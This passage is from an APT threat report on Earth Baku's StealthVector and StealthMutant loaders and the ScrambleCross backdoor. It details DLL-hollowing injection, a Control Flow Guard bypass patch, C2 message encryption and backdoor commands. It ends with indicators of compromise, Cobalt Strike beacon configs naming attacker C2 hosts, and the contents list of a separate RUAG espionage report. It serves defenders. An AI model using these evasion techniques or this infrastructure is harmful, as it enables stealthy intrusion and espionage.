To perform this technique, StealthVector looks for a legitimate DLL that has sufficient space for its payload, (payload_size  2048), as shown in Figure 32.
23  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 32.
StealthVector looking for a DLL with enough space for its payload Once it finds one that meets its space requirement, StealthVector loads that DLL using the LoadLibraryExW function, with the flag DONT_RESOLVE_DLL_REFERENCES.
As shown in Figure 33, when this flag is enabled, the system does not call the DllMain of the target DLL upon loading.
Figure 33.
StealthVector enabling DONT_RESOLVE_DLL_REFERENCES after finding its target DLL 24  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Encrypted payload Legitimate DLLOverwrite with shellcode and execute.
3 Find DLL and LoadLibraryExW.2 Decrypt.
or 1 StealthVector Code Encrypted payload Payload DLL Once it loads the target DLL, StealthVector changes the protection settings of the DLL using read, write, and execute (RWX) permissions.
It then copies its payload onto the legitimate DLL and executes the payload through the CreateThread function, as illustrated in Figure 34.
Figure 34.
StealthVectors process of overwriting the target DLL with its malicious payload Bypassing Control Flow Guard As shown in Figure 35, some variants of StealthVector run their shellcode by bypassing Microsofts Control Flow Guard (CFG), an exploit mitigation technology.
CFG makes it difficult for malware to run code on Windows operating systems by restricting indirect calls to an unapproved address.
In this case, StealthVector executes its shellcode using CreateThread, which checks the target address.
In order to sidestep attempts to verify its indirect call, StealthVector will then patch the LdrpHandleInvalidUserCallTarget API in ntdll.dll with 48 FF E0 CC 90 (jmp rax int3 nop),  as shown in Figure 36.
LdrpHandleInvalidUserCallTarget is called when CFG, through the LdrpValidateUserCallTarget function, determines that the target address is invalid.
StealthVector can patch this API without crashing the application.
25  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 35.
StealthVector bypassing CFG to execute its shellcode Figure 36.
StealthVector patching LdrpHandleInvalidUserCallTarget Phantom DLL Hollowing in Remote Process Some variants of StealthVector can also inject their shellcode payload into a remote process using phantom DLL hollowing, a technique that is a combination of process hollowing and module stomping (Figure 37).
To do this, StealthVector spawns a new process, which is specified in its configuration, in suspended mode.
StealthVector uses the NtCreateSection and ZwMapViewOfSection APIs to load a legitimate DLL into this newly created process.
The logic of finding its target DLL is the same as that in module stomping: It checks if the code section, or (.text section size), is large enough.
Afterward, it overwrites the code section of the loaded DLL with its own payload and executes it in the DLLs memory space.
It then patches the entry point of the legitimate process in order to modify the shellcodes execution flow to this entry point in the DLL.
Using this method, malicious actors can hide StealthVectors payload within the memory space of an image, which often goes unnoticed by common memory scan engines, and execute it like a normal module.
26  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 37.
StealthVector performing phantom DLL hollowing Spawn process in suspended mode.
2 Map legitimate DLL to section.
3 Map view of section to remote process.
4 Overwrite specific function with shellcode.5 Decrypt 1 Patch entry point to call payload in DLL, and then resume thread.
6 or StealthVector Encrypted payload Code Encrypted payload Legitimate code DLL Payload Legitimate process DLL call 27  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Technical Analysis of the Payloads Our analysis has revealed that StealthMutant and StealthVector can contain two different payloads.
One is the Cobalt Strike beacon and the other is the newly found malware ScrambleCross.
Cobalt Strike Beacon Among most of the samples we have come across, there are two types of Cobalt Strike beacons: a hybrid HTTP DNS (Domain Name System) and HTTPS.
Interestingly, all the Cobalt Strike beacons in memory are in a Portable Executable (PE) file format with a characteristic header, as shown in Figure 38.
While it appears as a valid MZ header, it can also be executed as machine code.
Figure 38.
The Cobalt Strike beacon in a PE file format 28  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor This assembly, much like a PE header, calculates the address of a specific function, which serves as the entry point for the reflective loader to dynamically initialize and execute a DLL.
It should also be noted that some of the samples have PE files with broken headers, although they still operate in the same way (Figure 39).
Figure 39.
A broken PE header The Cobalt Strike beacons in the samples we have uncovered bear similarities to those used in attacks carried out by the Chimera APT group, as reported by Cycraft.15 However, it remains uncertain whether this campaign can definitively be linked to Chimera, as many similar Cobalt Strike beacons and Meterpreter shellcodes can also be found on VirusTotal (Figure 40).
Figure 40.
Search results for Cobalt Strike beacons on VirusTotal The Cobalt Strike beacon found in the StealthMutant and StealthVector samples has two types of watermarks.
One is 305419896, which is that of a cracked version, and is widely used by a variety of other malicious actors, according to research conducted by VMware Carbon Black.16 The other watermark is 426352781, which has been in use since at least May 2021 but has never been attributed to malicious actors before.
29  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor ScrambleCross, or a Refactored Crosswalk During our analysis, we found a never-before-seen shellcode as a payload of StealthMutant and StealthVector.
Upon closer study, we learned that this payload uses similar techniques to those of the Crosswalk backdoor.
A modularized shellcode-based backdoor that is known to be used by Earth Baku, Crosswalk can execute additional shellcodes on memory as a plug-in.
According to an indictment by the US Department of Justice,17 Crosswalk was also used by members of Chengdu 404 Network Technology, a network security business.
The similarities between Crosswalk and ScrambleCross indicate that the actual entity behind this campaign could be or is linked to members of Chengdu 404 Network Technology.
Following our analysis, we have concluded that this unknown payload is a new version, or rather a fully refactored version, of Crosswalk.
It still has many of the same capabilities as Crosswalk, but these are implemented differently.
Considering this, we have named this new backdoor ScrambleCross to distinguish it from its predecessor.
ScrambleCross shares the following features with Crosswalk: It is designed as fully position-independent code.
It has encrypted code, data, and configuration.
It calculates the hash of the code section as an anti-debugging technique.
It supports multiple types of network communication protocols.
It uses message queues to asynchronously receive commands from worker threads.
Crosswalks capabilities have been documented at length by the likes of Positive Technologies, ZScaler,18 and  VMware Carbon Black.19 But there are some key differences between this backdoor and ScrambleCross.
Much like Crosswalk, ScrambleCross also embeds encrypted code in itself, but it uses a slightly different encryption algorithm to do so.
To decode its functions and global values, including imports or strings, ScrambleCross uses a 16-byte XOR, as shown in Figure 41.
30  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor XOR key for code Imports XOR key for global values XOR (size  0x1014) Signature of code Signature of global values (cleared right after use) Figure 41.
ScrambleCross using a 16-byte XOR to decode its functions and global values However, for its network configuration, ScrambleCross uses ChaCha20 for decryption instead of XOR (Figure 42).
The encrypted network configuration is embedded at offset 0x1028 from the top of the configuration.
31  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 42.
ScrambleCross using ChaCha20 for decryption in its network configuration Like StealthVector, ScrambleCross uses a fixed value of 0xB for its initial counter.
The ChaCha20 routine shown in Figure 43 is used for encryption and decryption.
e ChaCha20 key ChaCha20 nonce MDS of encrypted config Size IP address in network byte order of Config Type 1 of Config Type 2 Enable TLS for Config Type 1 Enable TLS for Config Type 2 Port for Config Type 1 Port for Config Type 2 Hostname for Config Type 2 23 4E 62 6C ChaCha20 (counter  0xB) Size of hostname Size of object name Figure 43.
The ChaCha20 routine 32  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor With regard to its command-and-control (CC) server communication, Crosswalk supports TCP (Transmission Control Protocol) and HTTP for application layer protocols, and uses AES-128 for transport layer encryption.
ScrambleCross similarly supports TCP, HTTP, and HTTPS for application layer protocols, but it instead uses ChaCha20 and a custom message structure for transport layer encryption.
Regardless of whether TCP or HTTP protocols are used, both the client request and the CC server response have the same message structure.
The client request data is compiled in the following nine steps, as illustrated in Figure 44.
On the other hand, after deconstructing the server response data, we found that it is compiled in reverse order.
1.
Receive a 16-byte challenge from the server, or generate a 16-byte null key instead.
2.
Generate a random 16-byte ChaCha20 nonce.
3.
Generate a 32-byte ChaCha20 key.
4.
Compress the raw request data using the LZ4 compression algorithm.
5.
Encrypt the payload chunk with ChaCha20, using the key generated in Step 3.
The nonce is the first 12 random bytes generated in Step 2.
6.
Calculate the MD5 hash of the victim information.
The victim information consists of the globally unique identifier (GUID), botID, and computer name of the victims device.
7.
Encrypt the header chunk with ChaCha20, using the key embedded in the network configuration.
The nonce is the last 12 random bytes generated in Step 2.
8.
Calculate the total size of the MD5 hash, which is the sum of 13, the nonce, the encrypted header chunk, and the encrypted payload chunk.
Copy the MD5 hash onto the top of the message data.
9.
If the message is sent in TCP, add the size of the message data on top of the message data.
Raw request payload Server challenge or null bytes Machine GUID (40 bytes) Original data size (WORD) Payload chunk Compressed data size (WORD) Compressed data size (WORD) Server challenge (16 bytes) Header chunk Hash of victim info (16 bytes) Session ID (DWORD) Request ID (DWORD) Command (DWORD) Fixed ChaCha20 key (32 bytes) 3 ChaCha20 key in config (32 bytes) 2 Nonce [0:12] Nonce [4:16] BotID (16 bytes) Computer name (30 bytes) 1 4 6 Hash of following data (16 bytes) Message Total size  13 (word) Nonce (16 bytes) enc header (44 bytes) enc payload (4 bytes  compressed data size) enc payload enc header 5 7 8 Size of message (DWORD) Message HTTP header Message 9 HTTP TCP Figure 44.
ScrambleCross compilation of request data 33  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor ScrambleCross, like Crosswalk, also receives backdoor commands from its CC server, as shown in Figure 45, but these are very different from those for Crosswalk.
In the case of ScrambleCross, the purpose of its backdoor commands is to receive plug-ins from the CC server and to manipulate these plug-ins, as indicated in Table 1.
However, since a backdoor commands capacity for manipulating plug-ins depends on the specific plug-in it receives, and we have been unable to retrieve any plug-ins from the server, we have yet to determine the full extent of the commands plug-in manipulation functions.
Figure 45.
ScrambleCross receiving backdoor commands from its CC server Command Action 0x0 Do nothing.
0x64 Run all the loaded plug-ins entry at offset 0x48, which possibly tries to close sessions in the plug-in and close current sessions.
0x5C Update the ChaCha20 key for message encryption and decryption on CC communication.
0x66 Change the current status based on the Base64-like string in response.
0x68 Change the unknown DWORD value.
0x70 Update the maximum interval period.
0x74 Possibly uninstall all the plug-ins.
Enumerate the loaded plug-ins, run the plug-ins entry at offset 0x38 if it is already initialized, and then unload the plug-in.
34  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Command Action 0x78 Find a plug-in by ID and, if it is already initialized, run the plug-ins entry offset at 0x38.
If the plug-ins entry offset at 0x38 returns false, it will be unloaded.
0x7C Possibly initialize a new plug-in.
It receives new plug-in data from the CC server and runs the plug-ins entry at offset 0x30.
0x7E Possibly try to remove a specified server challenge from the server challenge list.
Find a plug-in by ID (or if 0xFF is specified, all plug-ins will be targeted) and, if it is already initialized, run the plug-ins entry offset at 0x50.
Afterward, look for the given challenge bytes in the registered challenge list and remove them from the list.
0x80 Find a plug-in by ID and, if it is already initialized, run the plug-ins entry offset at 0x38.
If the plug-ins entry offset at 0x38 returns false, the plug-in and related registered server challenge will be unloaded.
0x82 Enumerate the user information and send it back to the CC server.
0x84 Change the unknown DWORD value.
0x8C Send the current configuration values to the CC server.
0x8E Load additional configuration from the message and try to save to file.
None of the above Enumerate all the loaded plug-ins and run the plug-ins entry offset at 0x40.
Table 1.
A list of backdoor commands for ScrambleCross Because ScrambleCross supports HTTPS, some variants of this backdoor abuse Cloudflare Workers, a computing platform, to obscure their CC server activity.
Cloudflare Workers can prove to be a powerful and accessible tool for malicious actors for the following reasons: Cloudflare Workers provides better scalability, making it useful for malicious actors who want to build their CC infrastructure.
The malware will not communicate with the CC server directly, posing a challenge for security analysts to find the actual IP address to block.
CC traffic on Cloudflare Workers makes blocking of ScrambleCross CC server much more difficult because the observed IP address is a Cloudflare IP address rather than that of the actual CC server.
The Cloudflare Workers platform is allowed by many security products.
Connections to Cloudflare Workers are often considered legitimate and thus will likely be overlooked by network monitoring solutions.
35  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Attribution As previously mentioned, we have concluded that the threat actors behind this malware are linked to Earth Baku.
This attribution is supported by the following key findings.
Use of install.bat During an incident response, we found the installer script for StealthVector called install.bat (Figure 46).
This is the same batch file used in a previous cyberespionage campaign carried out by APT41, according to the aforementioned FireEye report (Figure 47).
Figure 46.
The install.bat script 36  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 47.
The batch file used by APT41, according to FireEyes report Code Similarities to the Shellcode Loader Used by APT41 We have observed that Storesyncsvc.dll, the DLL version used by StealthVector, has an entry point for service (Figure 48) that resembles the one mentioned in FireEyes report (Figure 49).
There are also similar procedures for loading the necessary APIs between the Storesyncsvc.dll versions of the StealthVector sample (Figure 50) and the one from the FireEye report (Figure 51).
37  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 48.
Storesyncsvc.dll in StealthVector Figure 49.
Storesyncsvc.dll in the FireEye report sample 38  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 50.
Storesyncsvc.dlls procedure for loading APIs in the StealthVector sample Figure 51.
Storesyncsvc.dlls procedure for loading APIs in the FireEye report sample Technique Similarities to Crosswalk Crosswalk and ScrambleCross implement similar techniques.
Both pieces of malware decode their main functions and strings with XOR, after which they check the signature of the decoded section, as shown in Figure 52 and Figure 53.
39  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 52.
Crosswalk code that checks the signature of its decoded section Figure 53.
ScrambleCross code that checks the signature of its decoded section 40  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Conclusion and Security Recommendations The discovery of these new pieces of malware demonstrates that Earth Baku consists of members with varied skill sets.
The groups use of the StealthMutant and StealthVector loaders indicates that among their ranks is at least one member who is familiar with tools and techniques used by red teams.
Likewise, the groups use of the ScrambleCross backdoor points to at least one member who likely has a deep knowledge of low-level programming and complex software development.
Evidence of members with these collective skills obscures the true purpose behind this new campaign.
Even though Earth Baku engaged in ransomware attacks in early 2020,20 we have not observed the use of ransomware in this new campaign.
Instead, as a report by Group-IB suggests,21 this latest campaign by Earth Baku may be focused on cyberespionage.
It is our hope that this report will encourage other security researchers to publish further research about this threat actor group and its activities.
Here are several measures that end users and organizations can take to defend their networks and systems against cyberespionage tactics and minimize the risk of compromise: Practice the principle of least privilege.
Limit access to sensitive data and carefully monitor user permissions to make lateral movement more difficult for attackers who want to infiltrate a corporate network.
Be mindful of security gaps.
Regularly update systems and applications, and enforce strict patch management policies.
Practice virtual patching to secure any legacy systems for which patches are not yet available.
Have a proactive incident response strategy.
Implement defensive measures that are designed to assess threats and mitigate their impact in the event of a breach.
Routinely carry out security drills to test the efficiency of the organizations incident response plan.
Enforce the 3-2-1 rule.
Store at least three copies of corporate data in two different formats, with one air-gapped copy located off-site.
Routinely update and test these copies to ensure that there are no errors in the backup process.
41  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Enterprises and government agencies can benefit from advanced Trend Micro solutions that can proactively keep IT environments protected from a wide range of cybersecurity threats.
The Trend Micro XDR service effectively protects connected emails, endpoints, servers, cloud workloads, and networks.22 It uses powerful AI and expert security analytics to correlate data, and deliver fewer yet higher-fidelity alerts for early threat detection.
In a single console, it provides a broader perspective of enterprise systems while at the same time giving a more focused and optimized set of alerts.
This allows IT security teams to have better context for identifying threats more quickly and therefore to understand and remediate impact much more effectively.
The Trend Micro Managed XDR service, meanwhile, provides expert threat monitoring, correlation, and analysis from skilled and seasoned managed detection and response analysts.23 Managed XDR is a flexible, 24/7 service that allows organizations to have a single source of detection, analysis, and response.
Analyst expertise is enhanced by Trend Micro solutions that are optimized by AI and enriched by global threat intelligence.
The Managed XDR service allows organizations to expand with the cloud without sacrificing security or overburdening IT teams.
42  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Appendix MITRE ATTCK Tactics, Techniques, and Procedures Tactic ID Technique Procedure Used by Initial access T1190 Exploit public- facing application Earth Baku exploits SQL injection or CVE-2021-26855 to intrude on the network.
-
T1566.001 Phishing: spear phishing attachment Earth Baku possibly distributes spam with LNK attachments that download StealthVector.
-
Execution T1059.003 Command and scripting interpreter: Windows Command Shell Earth Baku uses a batch file to install StealthVector.
-
T1059.005 Command and scripting interpreter: Visual Basic Earth Baku uses VBS to drop StealthVector.
-
T1569.002 Service execution Some variants of StealthVector are designed to be executed as a service.
StealthVector T1053.005 Scheduled task/ job: scheduled task StealthMutant is executed via a scheduled task.
-
Defense evasion T1574.002 DLL sideloading Some variants of StealthVector are designed to be executed by DLL sideloading.
StealthVector T1055.012 Process injection: process hollowing StealthMutant and StealthVector can perform process hollowing and phantom DLL hollowing to inject the shellcode in a remote process.
StealthMutant, StealthVector T1562.006 Impair defenses: indicator blocking StealthMutant and StealthVector can patch EtwEventWrite to disable logging by ETW.
StealthMutant, StealthVector T1027 Obfuscated files or information StealthMutant uses XOR or AES-256-ECB to decrypt the payload.
StealthVector uses ChaCha20 to decrypt both the configuration and the payload.
The main function of ScrambleCross is encoded by XOR and its configuration is encrypted by ChaCha20.
StealthMutant, StealthVector, ScrambleCross T1218.004 Signed binary proxy execution: InstallUtil Some variants of StealthVector, including its C implementation StealthMutant, are executed by InstallUtil.
StealthMutant 43  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Tactic ID Technique Procedure Used by T1036.003 Masquerading: rename system utilities Earth Baku renames the legitimate CertUtil.exe to bypass detection.
-
T1027.002 Obfuscated files or information: software packing StealthMutant is packed by ConfuserEx.
StealthMutant Command and control T1573.001 Encrypted channel: symmetric cryptography ScrambleCross uses ChaCha20 for packet encryption.
ScrambleCross T1071.001 Application layer protocol: web protocols The Cobalt Strike beacon uses HTTPS to communicate with the CC server.
ScrambleCross uses HTTP/HTTPS to communicate with the CC server.
Cobalt Strike, ScrambleCross T1071.004 Application layer protocol: DNS The Cobalt Strike beacon uses DNS to communicate with the CC server.
Cobalt Strike T1090.004 Proxy: domain fronting ScrambleCross abuses a legitimate CDN service to tunnel traffic to the actual CC server.
ScrambleCross T1105 Ingress tool transfer Earth Baku uses CertUtil.exe to download components from a URL.
-
Indicators of Compromise LNK Downloader Files SHA-256 Detection 59fa89a19aa236aec216f0c8e8d59292b8d4e1b3c8b5f94038851cc5396d6513 Trojan.
LNK.STEALTHVECTOR.ZYIF BAT Launcher Files SHA-256 Detection 49e338c5ae9489556ae8f120a74960f3383381c91b8f03061ee588f6ad97e74c Trojan.
BAT.SVCLAUNCHER.ZYIF c8e3e27401ae87cbd891b46505b89f2970f8890de4b09cbaa538d827caa86b26 Trojan.
BAT.SVCLAUNCHER.ZYIF d1175b88744606363f6fdf2df5980ca5a0898a3944fcf15f5c4c014473b043ca Trojan.
BAT.SVCLAUNCHER.ZYIF 62d9e8f6e8ade53c6756f66beaaf4b9d93da6d390bf6f3ae1340389178a2fa29 Trojan.
BAT.SVCLAUNCHER.ZYIF da4b86b9367151e0c36b90cb7329aca2d05f2984ce0e0181dd355b728acc4428 Trojan.
BAT.SVCLAUNCHER.ZYIF 44  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor StealthMutant and Payloads SHA-256 Detection Payload 24ac3cc305576493beefab026d1cb7cce84f3bfcbcc51cdb5e612c290499390a Backdoor.
Win64.
SCRAMBLECROSS.ZYIF.
enc Cobalt Strike beacon (HTTP) 209521bc350e7f5b28decba46bad81090a13f42eed396db3ca9a97eaf7902fe8 Backdoor.
Win64.
COBEACON.ZYIF.enc - 34f95e0307959a376df28bc648190f72bccc5b25e0e00e45777730d26abb5316 Trojan.
MSIL.
STEALTHMUTANT.ZYIF Encrypted payload not found b7b2aa801dea2ec2797f8cf43b99c4bf8d0c1effe532c0c800b40336e9012af2 Trojan.
MSIL.
STEALTHMUTANT.ZYIF Encrypted payload not found 8284c44f87ab8471918da564152ffcc28348a671e3a9316876b075cdf03c3607 Trojan.
MSIL.
STEALTHMUTANT.ZYIF Encrypted payload not found e66adbc6ca13dab9915aca30360c86b75e63e9c0845ac89217299fed556810cc Trojan.
MSIL.
STEALTHMUTANT.ZYIF ScrambleCross 6c5192a478bd7eca95f83ab3ebf036d4c1ffcc81e0354fa05f02f5fe4e8bfdf5 Backdoor.
Win64.
SCRAMBLECROSS.ZYIF.
enc - ce16e9a2d3722bb5f5b3636f307bd386ed24abafea72aeb6dd002d51eeca16df Trojan.
MSIL.
STEALTHMUTANT.ZYIF Cobalt Strike beacon (HTTPS) 9269dc68d46630c0d534bf62a299037fd3a124a6459d97692c25ffb89ccd1f08 Backdoor.
Win64.
COBEACON.ZYIF.enc - 04f6fc49da69838f5b511d8f996dc409a53249099bd71b3c897b98ad97fd867c Trojan.
MSIL.
STEALTHMUTANT.ZYIF ScrambleCross 730f4d8c1e774406105bbaad3cb4b466c27e0a50cf8345c236b42a80b437e2a8 Backdoor.
Win64.
SCRAMBLECROSS.ZYIF.
enc - StealthVector SHA-256 Detection Payload 9e178bb966f101e8c8ed020fbb2fb5878e2a969f7eaf47bc990f0472e85a3533 Trojan.
Win64.
STEALTHVECTOR.
SMZTID-B Encrypted payload not found d9d269a199ca0841fc71fef045c3dc5701a5042bea46d05a657b6db43fe55acc Trojan.
Win64.
STEALTHVECTOR.
SMZTID-B Encrypted payload not found 8da88951322fa7f464c13cb4a173d0c178f5e34a57957c9117b393133dd19925 Trojan.
Win64.
STEALTHVECTOR.
SMZTID-B Encrypted payload not found 45  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor SHA-256 Detection Payload e009ef76fb9402fe379280ed9c6a4d81748fb259475b9048937f3d7c7f0f0f32 Trojan.
Win64.
STEALTHVECTOR.
SMZTID-B Encrypted payload not found e2ae201bd6a7397dcc5036260122e7d67046569b90c4f1b79ef8e34914729888 Trojan.
Win64.
STEALTHVECTOR.
SMZTID-B ScrambleCross c1b587a922691c7e01db3e57f223fa2b5d2df2121736922ff97141571c550cfc Trojan.
Win64.
STEALTHVECTOR.
SMZTID-B Encrypted payload not found 02378f64fd1083491cf5558397aae763ff047a5fa9fcaf624d1710b86f440777 Trojan.
Win64.
STEALTHVECTOR.
SMZTID-B Encrypted payload not found 560a96e4577d09eb13416e5c4d649c346ca11a2459f09c8a3495d7c377c1f31d Trojan.
Win64.
STEALTHVECTOR.
SMZTID-B Cobalt Strike beacon (Hybrid HTTP DNS) 91aa05e3666c7e2443fc1f0f0142f1829f5ec51e289c95b10811531da50eb2b3 Trojan.
Win64.
STEALTHVECTOR.
SMZTID-B Cobalt Strike beacon (HTTPS) 98f6be546c5191b67014e3d0f7f8df86715d970aa326a6a438d0be234daf8841 Trojan.
Win64.
STEALTHVECTOR.
SMZTID-B Encrypted payload not found 477882b41e10aef0fcd0d5d33715dfb4eb7f8f3277057978ac77d3ec5914c6f9 Trojan.
Win64.
STEALTHVECTOR.
SMZTID-B Encrypted payload not found bf34dfb4140c00d23554b03ebb986b2734a2c396877681d526e2ac80b372268a Trojan.
Win64.
STEALTHVECTOR.
SMZTID-B Encrypted payload not found d981edf78680f46616574b46ac3d0ab58a509430c155905761058152a24f091d Trojan.
Win64.
STEALTHVECTOR.ZYIG Cobalt Strike beacon (HTTPS) Domains/IP addresses Ns[.]cloud01[.
]tk Ns[.]cloud20[.
]tk ns1[.]extrsports[.
]ru:443 www[.]microsofthelp[.]dns1[.
]us:443 45[.]138[.]157[.
]78:80 update[.]microsoftdocs[.]workers[.
]dev:443 www[.]twitterproxy[.
]com:443 cdn[.]cloudfiare[.]workers[.
]dev:443 mssetting[.
]com dns224[.
]com cloudflare-ko[.]biguserup[.]workers[.
]dev:443 46  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Cobalt Strike Configuration Hybrid HTTP DNS beacon BeaconType - Hybrid HTTP DNS Port  - 1 SleepTime - 300000 MaxGetSize  - 1404878 Jitter  - 37 MaxDNS  - 255 PublicKey_MD5 - df50953714f29628a7f6a6c97eb0bc2e C2Server - ns.cloud01.tk,/users/sign_in,ns.cloud20.tk,/users/sign_in UserAgent - Mozilla/5.0 (Windows NT 6.1 WOW64 Trident/7.0 rv:11.0) like Gecko HttpPostUri - /signup/custom Malleable_C2_Instructions - Remove 3405 bytes from the end Remove 3366 bytes from the beginning Base64 URL-safe decode XOR mask w/ random key HttpGet_Metadata  - ConstHeaders Host: fortawesome.com xhtmlxml,application/xmlq0.9,/q0.8 Referer: https://fortawesome.com/ Metadata base64url prepend _fortawesome_session header Cookie HttpPost_Metadata  - ConstHeaders 47  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Host: fortawesome.com Accept: text/html,application/xhtmlxml,application/ xmlq0.9,/q0.8 SessionId mask base64url parameter __uid Output mask base64url prepend remember_meonauthenticity_token print PipeName   - DNS_Idle   - 8.8.8.8 DNS_Sleep   - 0 SSH_Host   - Not Found SSH_Port    - Not Found SSH_Username   - Not Found SSH_Password_Plaintext  - Not Found SSH_Password_Pubkey   Not Found SSH_Banner   - HttpGet_Verb   - GET HttpPost_Verb   - POST HttpPostChunk   - 0 Spawnto_x86   - windir\syswow64\rundll32.exe Spawnto_x64    - windir\sysnative\rundll32.exe 48  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor CryptoScheme    - 0 Proxy_configuration   - Not Found Proxy_User    - Not Found Proxy_Password    - Not Found Proxy_Behavior    - Use IE settings Watermark    - 305419896 bStageCleanup    - True bCFGCaution    - False KillDate    - 0 bProcInject_StartRWX   - False bProcInject_UseRWX   - False bProcInject_MinAllocSize  - 17500 ProcInject_PrependAppend_x86   - b\x90\x90\x90\x90 Empty ProcInject_PrependAppend_x64  - b\x90\x90\x90\x90 Empty ProcInject_Execute   - ntdll:RtlUserThreadStart CreateThread NtQueueApcThread-s CreateRemoteThread RtlCreateUserThread ProcInject_AllocationMethod  - NtMapViewOfSection bUsesCookies    - True HostHeader    - headersToRemove   - Not Found DNS_Beaconing    - Not Found 49  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor DNS_get_TypeA     - Not Found DNS_get_TypeAAAA   - Not Found DNS_get_TypeTXT   - Not Found DNS_put_metadata   - Not Found DNS_put_output    - Not Found DNS_resolver    - Not Found DNS_strategy    - Not Found DNS_strategy_rotate_seconds  - Not Found DNS_strategy_fail_x   - Not Found DNS_strategy_fail_seconds  - Not Found HTTPS beacon BeaconType   - HTTPS Port    - 443 SleepTime   - 60000 MaxGetSize   - 1404878 Jitter    - 37 MaxDNS    - 255 PublicKey_MD5   - df50953714f29628a7f6a6c97eb0bc2e C2Server   - work.cloud01.tk,/users/sign_in,work.cloud20.tk,/ users/sign_in,185.118.166.205,/users/sign_in UserAgent   - Mozilla/5.0 (Windows NT 6.1 WOW64 Trident/7.0 rv:11.0) like Gecko HttpPostUri   - /signup/custom Malleable_C2_Instructions - Remove 3405 bytes from the end Remove 3366 bytes from the beginning 50  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Base64 URL-safe decode XOR mask w/ random key HttpGet_Metadata    - ConstHeaders Host: fortawesome.com Accept: text/html,application/xhtmlxml,application/ xmlq0.9,/q0.8 Accept-Encoding: gzip, deflate Referer: https://fortawesome.com/ Metadata base64url prepend _fortawesome_session header Cookie HttpPost_Metadata  - ConstHeaders Host: fortawesome.com Accept: text/html,application/xhtmlxml,application/ xmlq0.9,/q0.8 Accept-Encoding: gzip, deflate SessionId mask base64url parameter __uid Output mask base64url prepend remember_meonauthenticity_token print PipeName   - 51  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor DNS_Idle   - 8.8.8.8 DNS_Slee   - 0 SSH_Host   - Not Found SSH_Port   - Not Found SSH_Username   - Not Found SSH_Password_Plaintext  - Not Found SSH_Password_Pubkey  - Not Found SSH_Banner   - HttpGet_Verb   - GET HttpPost_Verb    - POST HttpPostChunk   - 0 Spawnto_x86   - windir\syswow64\rundll32.exe Spawnto_x64   - windir\sysnative\rundll32.exe CryptoScheme   - 0 Proxy_configuration  - Not Found Proxy_User   - Not Found Proxy_Password   - Not Found Proxy_Behavior   - Use IE settings Watermark   - 305419896 bStageCleanup   - True bCFGCaution   - False KillDate   - 0 bProcInject_StartRWX  - False bProcInject_UseRWX  - False bProcInject_MinAllocSize - 17500 ProcInject_PrependAppend_x86 - b\x90\x90\x90\x90 52  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Empty ProcInject_PrependAppend_x64 - b\x90\x90\x90\x90 Empty ProcInject_Execute  - ntdll:RtlUserThreadStart CreateThread NtQueueApcThread-s CreateRemoteThread RtlCreateUserThread ProcInject_AllocationMethod - NtMapViewOfSection bUsesCookies   - True HostHeader   - headersToRemove  - Not Found DNS_Beaconing   - Not Found DNS_get_TypeA   - Not Found DNS_get_TypeAAAA  - Not Found DNS_get_TypeTXT  - Not Found DNS_put_metadata  - Not Found DNS_put_output   - Not Found DNS_resolver   - Not Found DNS_strategy   - Not Found DNS_strategy_rotate_seconds - Not Found DNS_strategy_fail_x  - Not Found DNS_strategy_fail_seconds - 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MELANI:GovCERT TLP WHITE APT Case RUAG Technical Report Author: GovCERT.ch Date: 23rd May 2016 TLP: WHITE Topic: Technical Report about the Espionage Case at RUAG MELANI:GovCERT TLP WHITE Content Summary 1 Introduction 2 The Case .
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2 The Chronology .
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2 The Malware Family .
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3 Modus Operandi 4 Victim Evaluation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5 Infecting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5 Active Infection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8 Trojan Supported Reconnaissance .
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9 Gaining Information and the Task Format . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11 Gaining Final Persistence .
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12 A Closer Look at the Encryption Algorithms Used in Carbon-DLL and Tavdig .
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15 Lateral movement .
